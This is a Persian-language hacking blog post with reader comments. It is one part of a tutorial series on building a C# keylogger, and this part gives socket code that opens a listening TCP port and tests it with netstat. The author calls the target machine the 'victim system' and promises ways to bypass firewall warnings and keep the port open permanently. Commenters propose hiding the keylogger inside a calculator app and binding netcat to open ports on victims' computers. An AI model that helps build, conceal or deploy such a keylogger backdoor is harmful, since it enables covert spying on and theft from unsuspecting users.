باز کردن پورت در سی شارپ :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۵ آذر ۹۶، ۱۱:۰۴ - reza
    code

همونطور که خودتون هم در جریانید پست آموزش ساخت کیلاگر به زبان سی شارپ کم و کسری ھای زیادی داره ، چون اون پست تنھا برای آشنا شدن با محیط برنامه نویسی نوشته شده
ھرچند در آینده قراره با کیلاگر ھای حرفه ای تر ھم آشنا شیم ولی ....
تا اون مدت میتونیم به ھمین کیلاگرمون پر و بال بدیم و ازش یه کیلاگر قوی درست کنیم
من ھر از گاھی یه قسمتش رو اضافه میکنم
مثل ھمین پست که یه قسمت تقریبا مھمه این برنامه است
ھمونطور که قبلا ھم گفتم برای ارسال یا دریافت اطلاعات از دنیای مجازی ما نیاز به یک آدرس آی پی و یک پورت باز داریم.
اگه این پورت بسته باشه مسلمأ ما با در بسته روبرو میشیم و نمیتونیم ھیچ اطلاعاتی رو ارسال یا دریافت کنیم
در آموزشمون ما از پورت 587 برای ارسال اطلاعات استفاده کردیم
اما ھیچ دستوری برای باز کردن این پورت رو وارد نکردیم

فرض آموزش این بود که این پورت بازه

خوب دیگه زیاد حرف زدم :
برید قسمت کدھای برنامه و تو قسمت Using دوتا کد زیر رو اضافه کنید

using System.Net;
using System.Net.Sockets;

بعد از اضافه کردن کدهای بالا باید کد زیر رو در قسمتی مناسب اضافه کنید

static Socket port32;

خوب دقت کنید چون الان زیاد حس و حال ندارم توضیح بیشتر بدم و ...
این کد رو بعد از خط زیر باید اضافه کنید

public partial class Form1 : Form
{

یعنی در کل به شکل زیر باید بشه

public partial class Form1 : Form
{
static Socket port32;
public Form1()

توضیح کد :

اینجا متغیر port32 رو به صورت ایستایی و سراسری تعریف کردیم و در ادامه قراره ازش استفاده کنیم

خوب حالا کد زیر رو تو قسمت form_load اضافه کنید

port32 = new Socket(AddressFamily.InterNetwork,SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ipLocal = new
IPEndPoint(IPAddress.Any, 587 );
port32.Bind(ipLocal);
port32.Listen(100);

خط Form_Load امیدوارم یادتون باش!!!
خط زیر :

private void Form1_Load(object sender, EventArgs e)
{

}

یعنی کدمون رو بین {} ھای فورم لود باید قرار بدیم
خط اول این کد رو توضیح میدم :

port32 = new Socket(AddressFamily.InterNetwork,SocketType.Stream, ProtocolType.Tcp);

در قسمت زیر

AddressFamily.InterNetwork

میگه که از سیستمی استفاده میکنیم که از آی پی ورژن چھار استفاده میکنه
(یعنی ھمون آی پی اینترنتی)

در قسمت

SocketType.Stream

سوکت ما میخواد بصورت جریان روان تبادل اطلاعات کنه

همون جریانی که بالاتر برای برنامه بصورت ایستایی معرفی کرده بودیم

ProtocolType.Tcp

نوع پروتکل رو مشخص میکنه که ھمون Tcp ھستش

نوع پورت : tcp

خط دوم این کد :

IPEndPoint ipLocal = new IPEndPoint(IPAddress.Any, 587 );

یه سیستم و یا تخصصی تر بگم یه اکسس پوینت معرفی میکنیم چون سیستم مورد نظرمون معلوم نیست چه آی پی داره از دستور Any استفاده کردم و برای پورت ھم که 587 رو وارد کردم.

میتونیم هر پورتی رو وارد کنیم

port32.Listen(100);

اینجا ھم برای پورتمون فال گوش میشیم
عدد صد 100 ھم میگه که میتونیم چھار تا اتصال به سیستم داشته باشیم.
خوب کدھا ھمین بود
حالا چطور تست کنیم که برنامه کار میکنه یا نه؟
به CMD برین

یادتون باشه الان شما به عنوان کاربر ساده از سیستم استفاده میکنید و ممکنه بعضی از دستورات به خوبی اجرا نشه و یا شاید قبل از اجرا ازتون اجازه بخواد که شما باید اجازه بدین تا بتونید روند برنامه رو ببینید. البته اگه به عنوان مدیر اصلی سیستم استفاده میکنید این مشکلات پیش نمیاد

در ھر صورت قبل از اینکه برنامه رو تست کنید توی سی ام دی دستور زیر رو وارد کنید

netstat -an

احتمالا پورت مورد نظرمون 587 بسته خواهد بود

یعنی اسمش توی لیست وجود نخواھد داشت


به عکس دقت کنید
برنامه رو اجرا کنید یا اینکه بر روی تست کلیک کنید
احتمالا فایر والتون پیام زیر رو میده که باید بر روی Allow Accsess کلیک کنید

این اخطار از طرف فایر والتون ھست که میگه:
اگه این برنامه اجرا بشه پورتی باز خواھد شد آیا شما اجازه میدھید؟
اینجا باید اجازه بدین ولی یادتون باشه اگه در مواقع دیگه ھمچین پیامی دیدین حتما Cancel کنید و ھمچین اجازه ای ندید بعد ھم پیگیر شین که چرا ھمچین پیامی نمایش داده شده بخاطر کدوم برنامه و ....
در ھر صورت بعد از اجرای برنامه و اجازه دادن به فایر وال دوباره به سی ام دی برگردین و دستور زیر رو دوباره وارد کنید

netstat -an

اینبار میبینید که پورت 587 توی لیست وجود داره

در شکل بالا دستور netstat -an قبل و بعد از اجرای برنامه نمایش داده شده

یعنی این پورت بازه
میتونید ھر پورتی رو به این شکل باز کنید
بعد از تست ھم نگران بستن پورت نباشید چون بعد از بستن برنامه پورت ھم دوباره بسته میشه


ایرانی همیشه سرافراز

نظر (۳۹)

سلام داداش خسته نباشی....واقعا دمت گرم...عالیه مطالبت...من رشته خودم کامپیوتره واز مطالبت واقعا استفاده های زیادی میکنم...شدیدا منتظرم که بخش بعدی روهم بذاری....برنامه نویسی عالیه
سلام ویروس
ممنون به خاطر پست
ولی تو این جملت باید حتما علامت پوکر فیس بدم ( |: )

{ خط Form_Load امیدوارم یادتون باش!!!}
ویروس بعدا یکم در مورد سوکت پروگرامینگ در سی شارپ توضیح بده تا این مطلب خوب برامون جا بیوفته
در ادامه میشه یه جور کد ها رو تغییر بدیم که وقتی برنامه رو اجرا کردیم فایروال اخطار نده؟!
موفق باشی
salam
mishe ye tozihi ham darbareye baz kardan port ha ba cmd bedid
واقعا ممنونم
دمت گرم.
فقط اگه مشکلی نداره سه تا سوال می پرسم
اول این که تو پست اموزش تصویری ساخت کی لاگر 2 به یه نفر با آی دی PARISA یه کدی راجع به تایمر دادی ولی منظور از ذخیره اطلاعات کاربر چیه؟
دوم : تو یه قسمت تو همون کده که نوشته بودی (( داده هایی که باید ذخیره شوند ))می شه کد عکس گرفتن از محیط سیستم رو گذاشت؟
سوم: اون کده که تو پست اموزش تصویری ساخت کی لاگر 1 گذاشتی حروف کوچیک انگیلیسی ((a b)) یا حروف فارسی رو ذخیره نمی کنه؟
Virus 32 :
سوال رو زیر پست مربوط مطرح کن
قبل از مطرح کردن هم کامنت دوستان دیگه رو بخون احتمالا قبلا جواب دادم
سوال دومت : بله میشه
خیلی ببخشید فقط یه سوال : من ویژوال استودیو 2012 اولتیمیت دارم .
می خواستم ویژوال استودیو 2013 رو نصب کنم ارور زیر رو داد:
http://s7.picofile.com/file/8244914618/error.png
Virus 32 :
اسم فایلی که میخوایی نصب کنی رو به vs_ultimate تغییر بده
ببخشید که دیروز سوالای بی ربط کردم . یه سوال خوب اگه پیغام فایروال بیاد ولی یلرو کنسل رو بزنه اون وقت باید چی کار کنیم؟
Virus 32 :
در پست های بعدی درباره اش بحث میکنیم
خیلی ممنون
عالی بود
دست گلت درد نکنه
سلام داداش

میشه کاری کرد که خود کاربر داخل برنامه، پورت رو وارد کنه و بعد از کلیک کردن بر روی button، اون پورت باز بشه ؟

ممنون میشم سورس کدشو بفرستی به ایمیلم. یا همینجا یه راهنمایی کنی ممنونت میشم.
Virus 32 :
سلام عزیز
کاری نداره که
یه دکمه به برنامه ات اضافه کن
روش دوبار کلیک کن تا تو صفحه کد به قسمت کدهاش برسی
بعد کد باز کردن پورت رو اونجا بنویس!!!
port32 = new Socket(AddressFamily.InterNetwork,SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ipLocal = new
IPEndPoint(IPAddress.Any, 587 );
port32.Bind(ipLocal);
port32.Listen(100);

با سلام خدمت ویروس 32
بعد از اینکه کد های برنامه رو اجرا کردم با خطالی تصویر زیر مواجه شدم
اما بعد از اینکه عدد پورت رو تغیر دادم مثلا به 125 و دوباره برنامه رو اجرا کردم برنامه بدون خطا اجرا شد و با اسکنر دیدم
که پورت 125 باز شده .بعد دوباره پورت رو به 587 تغیر دادم اینبار بدون خطا اجرا شد و 587 دیدم که باز شده .
سوالاتی که دارم شاید سوال دوستان دیگه هم باشه:
1.چرا در مرحله اول خطا ی این شکلی داده و این خطا مفهومش چیه ممکنه که در سیستم قربانی نیز خطا بده بدین شکل؟؟
2.پورت مورد نظر زمانی باز هست که برنامه در حال اجرا باشه و زمانی که برنامه بسته شد پورت نیز بسته میشه.چرا به صورت دایم پورت رو باز نمیکنه؟
البته میدونم به کمک برنامه نویسی میشه در ریجستری کاری کرد که همیشه در حال اجرا باشه و زمان روشن کردن کامپیوتر پورت نیز باز بشه
3.port32.Listen(100); این کد میگه که 4 تا اتصال به سیستم باید داشته باشیم . درصورتی که بیش از 4 تا باشه چطور باید تغیر داد کد رو؟؟ اصلا 100 ینی چی؟؟
4.یه مشکل دیگه که فرم window security alert هست که اخطار باز شدن پورت رو میده .چطور میشه این فرم رو دور زد که نشون نده ؟؟ ایا راهی هست؟؟
در اخر هم تشکر میکنم بابت مطالب مفیدت
اگر عمری باقی باشه و شما هم قابل بدونید و اجازه بدید میخوام کمک حالی برای ارتقا این صفحات باشم. و باهاتون همکاری کنم
Virus 32 :
سلام حسین جان
1 - این خطا ها معمولا بخاطر به موقع جاری نشدن کتابخانه های مذکور هستش بعد از اینکه یکبار مرحله لود رو بگذرونه دیگه همچین خطایی نشون نمیده
البته اینا نظر خودمه و شاید دلیل اصلیش نباشه!!!
2 - میتونیم کاری کنیم که پورت دائمی باز شه. که اینکار با تخریب قسمتی از یکی از فایلهای ویندوز انجام شدنیه و یا میتونیم توی ریجستری دستوری صادر کنیم.
3 - اون خط در اصل میگه که سرور میتونه با صد تا کلاینت در ارتباط باشه
ولی در این پروژه به دلایلی از صد کلاینت فقط چهار تاش اجازه خواهند داشت. سیستم سرور که اینجا همون سیستم قربانی هست این ارتباط رو محدود میکنه
4 - بله راهی وجود داره . استفاده از فرمت مخصوص و یا دستور دادن به برنامه های غیرمخرب برای غیر فعال کردن فایر وال و ....
اینا رو در آینده توضیح خواهم داد
بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
با سلام دوستان
با اجازه ویروس 32 برنامه کوچکی نوشتم ولینکشش رو قرار دادم که با اون میتونید بعد از وارد کردن پورت ببینید که اون پورت مورد نظر باز هس یا بسته
htt***********************************/port.exe.html
Virus 32 :
سلام حسین جان
بعد از تست برنامه رو قرار میدم تا دوستان هم استفاده کنن
مرسی بخاطر لطفت :)
ویروس خطا هم این بود در بار اول

http://s7.picofile.com/file/8245954850/moshkl.png
Virus 32 :
اینو نمیدونم
الان مخم خوب کار نمیکنه :(
دمتگرم داداش.
خسته نباشی پهلوون :/
کارت درسته
Virus 32 :
;)
سلام عزیزم

فک کنم منظورمو اشتب گرفتی !!

منظورم اینه که ما اینجا تعریف کردیم که پورت 587 باز بشه. ولی من نمیخوام اینطور باشه. میخوام خود کاربر پورت رو وارد کنه و بعد اون پورت باز بشه !!

منظورم یه پورت خاصه !
Virus 32 :
سلام
باشه بهت قول میدم در آپدیت بعدیم این برنامه رو بنویسم و آموزش بدم
خوبه؟ :)
ویروس جان بعد از ارسال ایمیل . جی میل نمیزاره واردش بشه و مسدودش میکنه
عکس رو ببین

http://s6.picofile.com/file/8246332192/2.jpg
Virus 32 :
دم این جیمیل گرم :) خدایی خیلی خره این
ای ول
این یکی از ویژه گی های جدیدشه
فعلا از سرویس دهنده های دیگه استفاده کن تا ببینم اینو باید چیکارش کنم
سلام رفیق
بی صبرانه منتظر پست بعدی هستیم
میشه بگید کی میذارید ؟
بهرحال مرسی دوست من
Virus 32 :
سلام داشی
فدای مهربونیات :)
سلام ویروس ممنون از مطلبت :)
میشه کاری کرد که وقتی این کیلاگر توی سیستم هدف اجرا شد فایروالش ارور نده؟ آخه اینجوره که خیلی ضایه میشه کسی بازش نمیکنه!
بعد ببخشید یه سوال دیگه: میتونیم فایل nc.exe رو با یه فایل bat که توش دستور باز شدن یه پورتیو دادیم با هم bind کنیم برای باز کردن یه پورت توی سیستم قربانی؟ آیا بهتر نیست؟
خیلی ممنون میشم جواب بدی
Virus 32 :
سلام عزیز
ببین آموزش هایی که اینجا نوشتم رو یاد گرفتی؟ تونستی برنامه رو اونجوری که گفتم تموم کنی؟
اگه آره یعنی خستگی من برطرف میشه
اگه نه سوال کن تا بیشتر کمکت کنم
اگه تونستی خودت چیزی اضافه کنی اونموقع کارت خیلی با ارزش میشه و منم خیلی خوشحال میشم
هر دو تا سوالت شدنیه ولی باید خودت روش کار کنی
چون من نمیخوام از چارچوب آموزش خارج شم :)
سلام داداش

هنوز چشم انتظار آپدیت بعدی ام :((
درود خدا قوت به همه دوستان
خیلیا یک سری سوالات پرسیدن
اگه می کیلاگرخوایینست کنین عالی باشه بدون نقص باید بگم شما میتونیدهارو به هم وصل کنید مثلا یک ماشین حساب که مینویسید کاری کیلاگریمیتونیدمینویسیدطرفنون با زدن یکی از دکمه های ماشین حساب بقیه پروژه ها اجرا شه و مخفی باشند
امید وارم کمکی کرده باشم
Virus 32 :
مرسی جالب بود
خوشم اومد :)
ادمین جان,یعنی دمت گرم.خدا امواتت رو ببخشه و بیامرزه.از این که یک موضوع به این سختی رو کاملا آسون یاد دادی خیلی خیلی ممنون.داداش فقط ثبت کلمات فارسی رو هم توضیح میدی؟
سلام ویروس :)
یه جا گفته بودی که بعد از تست ھم نگران بستن پورت نباشید چون بعد از بستن برنامه پورت ھم دوباره بسته میشه.
میشه کاری کرد که بعد از بسته شدن برنامه پورت بسته نشه؟
Virus 32 :
سلام
فعلا نه
سلام دوست عزیز .
مطالبی که در اینجا قرار دادید خیلی عالی هستش .
اما یک اشکال بزرگ در برنامه وجود داره :
کی لاگر شما زمانی به درستی کار می کنه که فرم برنامه شما در حال اکتیو باشه یا ساده تر بگم که ، پنجره برنامه شما فعال باشه . و اگر اینطور نباشه کی لاگر ، لاگی رو ثبت نمی کنه.

یک پیشنهاد: برنامه خودش امکان این رو داشته باشه که از پنجره های فعال در ویندوز تصویر بگیره .
بازم از شما ممنونم.
Virus 32 :
سلام
درسته این مشکل رو هم برطرف خواهیم کرد
مرسی بخاطر پیشنهادتون :)
سلام ویروس جان دمت گرم خیلی اغایی. من تونستم اونچه رو که گفته بودی انجام بدم اما الان یه چنتا مشکل دارم اینکه اول فقط یه عکس میگیره مثلا عکسهارو نمیگیره و همه رو داشته باشه ینی اونارو جایگزین میکنه و اینکه اون تکستی رو که بهش گفتم درست میکنه ولی وتی دکمه هارو فشار میدم و میرم تکستو نگا کنم هیچی ثبت نکرده توی تکست در حالی برنامه هیچ اروری نمیده. و در ضمن برنامه چن وقت به چن وقت ایمیل هارو ارسال میکنه برامون؟؟ و خواهشا ویروس جان زودتر قسمت های بعدیشم بذار. دمت گرم خیلی اغایی.
Virus 32 :
سلام عزیز
سوال هایی که پرسیدی جواب هاشون خیلی ساده است اگه یکم با کدها درگیر شی خودت میتونی به جواب برسی
برای مثال برای سوال اولت از کدی که عکس رو میگیره چند تا کپی بگیر و به برنامه اضافه کن
البته این روش درستی نیست ولی برای کسی که تازه داره یاد میگیره خیلی خوبه
در اصل باید کد عکس رو توی کلاس جدا گانه ای قرار بدی و به کمک تایمر هر چند وقت یکبار اجراش کنی و ...
هنوز قسمت تایمر هارو شروع نکردم
سعی میکنم قسمت بعدی درباره تایمر ها باشه تا مشکل چند تا عکس گرفتن و ارسال ایمیل در هر چند وقت رو برطرف کرده باشیم
  • Virus32
  • یه علاقه مند
  • سلام
    فکر میکنم این برنامه فقط در صورتی کار میکنه form برنامه مون به صورت انتخاب شده باشه و در غیر این صورت کلیدی خارج از این برنامه زده بشه کار نخواهد کرد و نیاز به گرفتن اطلاعات از کرنل سیستم است درسته؟
    Virus 32 :
    سلام
    نه در هر صورت کار میکنه
    میتونی بعد از اجرا مخفیش کنی باز هم پورت باز میمونه
    سلام این برنامه رو میشه تو محیط دیگ ای جز سی شارپ نوشت؟اگه اره چه محیطی... و اینکه برای اندروید هم کاربرد داره؟
    Virus 32 :
    سلام
    توی هر محیطی
    این برای اندروید کاربرد نداره من تو بحث اندروید تبحری ندارم
    سلام استاد
    دستوری هست که تو cmd بنویسیم و پورت هارو باز کنه

    باتشکر
    CATIUSHA.IRAN
    Virus 32 :
    سلام داداش بله هست تو یکی از پست ها توضیح داده بودم
    ویروس. داداش پروژه ای که راه اندختی عالیه !! فقط دادا زود به زود اپدیت کن ما دیوانه وار منتظریم. مخصوصا یه ادم مبتدی مث من که باعث هم شدی به برنامه نویسی علاقه مند بشم. زودتر داداش. منتظریم !!خیلی گلی///
    Ali irani :
    سلام دوست من خسته نباشی خود ویروس داره روی یه پروژه خیلی عظیم کار میکنه که به زودی مثه بمب منفجر میشه من یکی از ادمین های وبلاگم  ولی بهش میگم یه نگاهی به وبلاگ بندازه بچه ها منتظرن revenger.32
    http://s3.img7.ir/TuiGK.png
    http://s3.img7.ir/AcI6w.png
    سلام خسته نباشید.توی این قسمت گیر کردم باید چیکارش کنم.
    Virus 32 :
    سلام
    using System.Net
    رو اون بالا اضافه نکردی!!!
    سلام ممنون از زحماتت من یه برنامه نویس هستم که سی شارپ رو در حد نوشتن دفترچه تلفن و اینجور چیزها نوشتم و بلدم و دوست دارم ویروس نویسی رو هم یاد بگیرم لطفا قسمت چهارم رو هم سریع تر بذار و یکم هم بیشتر توضیح بده
    سلام من زمانی که پروژه رو نوشتم کار میکرد ولی الآن که بعد 3،4 روز رفتم و دوباره تستش میکنم دیگه فایل متنی(نُت پد)رو ایجاد نمیکنه
    نمی دونم چرا؟ (اگه میشه توضیح زیاد بده)
    Virus 32 :
    سلام
    با run as administrator اجراش کن
    اون کار رو هم کردم ولی نشد همین پروژه تا چند روز پیش کار میکرد نمی دونم چی شده (راهنمایی)
    راستی قسمت 4 رو هم زودتر بنویس(ممنون)
    سلام داداش

    میتونی بگی هر زبان برنامه نویسی به درد چه کاری میخوره؟؟؟

    مثلا ‍‍‍‍‍‍‍‍‍‍‍‍Paython

    اول کدومو یاد بگیرم؟؟؟
    Virus 32 :
    سلام عزیز
    حتما این پستو مینویسیم 
    سلام میشه بگید مطلب بعدی تون رو کی می زارید.ممنون
    Virus 32 :
    سلام
    من از سال جدید شروع میکنم
    بقیه ادمین هارو نمیدونم
    سلام ویروس جان
    خیلی باحال بود.
    کار میکنه
    یه سوال کی لاگر با زبان چینی بخوایم درست کنیم چطوری میشه؟؟
    خخخخ اصل سوالم رو که فهمیدی؟

    آقا نوشتی سال بعد پست میزاری داغون شدیم. کارت بیسته. زود زود بزار.
    Virus 32 :
    سلام عزیز
    آره متوجه ام داداش
    این درخواست رو هم به لیست اضافه میکنم تا یادم نره :)
    چیزی به سال بعد نمونده عزیز صبور باشین :)
    سلام داداش
    تو نت خیلی گشتم اما هیچ کدوم درست و حسابی نبود
    میشه یه کد ویژوال بیسیک بهم بدی که یه پورت رو توی سیستم خودمون باز کنه؟؟؟؟؟
    مرسی از وب خوبتون
    Dark Killer :
    سلام گلم
    خب همین رو توی سیستم خودت اجرا کن واس سیستم خودت باز میکنه
    داداش برا ایمیل اگه یه دستور send key اضافه کنیم که اینترو بزنه
    به نظرت پیام فایروال می ره؟؟؟؟؟؟؟؟
    Virus 32 :
    نه
    سلام ویروس

    آموزشی ک گفته بودی رو همه رو مو به مو انجام دادم ولی در آخر تست رو که میزنم این ارور رو میده

    Warning 1 Could not copy "obj\Debug\keylogger1.exe" to "bin\Debug\keylogger1.exe". Beginning retry 1 in 1000ms. The process cannot access the file 'bin\Debug\keylogger1.exe' because it is
    being used by another process. keylogger1

    و

    Error 12 Unable to copy file "obj\Debug\keylogger1.exe" to "bin\Debug\keylogger1.exe". The process cannot access the file 'bin\Debug\keylogger1.exe' because it is being used by another process. keylogger1


    Virus 32 :
    سلام
    اسم برنامه هامون عین هم نیست داش یا اسم برنامه تو عوض کن یا یکم کدها رو دست کاری کن
    هیچوقت مو به مو ننویس
    همیشه یه چیزایی از خودت اضافه یا کم کن
  • Virus32
  • امیرحسین یوسفی
  • سلام آقا دمت گرم
    چرا آموزش شماره 4 رو نمیزاری منتظریم
    Virus 32 :
    سلام عزیز
    به این پست یکم گیر دادن هنوز موندم ادامه بدم یا بیخیال شم
    کمیته دستور داده پاکش کنم :(
    داداش بازم سلام
    در اینجا اگه بخوایم دوتا پورتو باز کنیم ، باید چه کدهایی و بهش اضافه کنیم ؟؟؟؟
    Virus 32 :
    سلام
    باید یه چرخه ایجاد کنی
    یا کد رو دوبار بنویسی
    برنامه بعدی که نوشتم رو ببین
    ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
    شما میتوانید از این تگهای html استفاده کنید:
    <b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
    تجدید کد امنیتی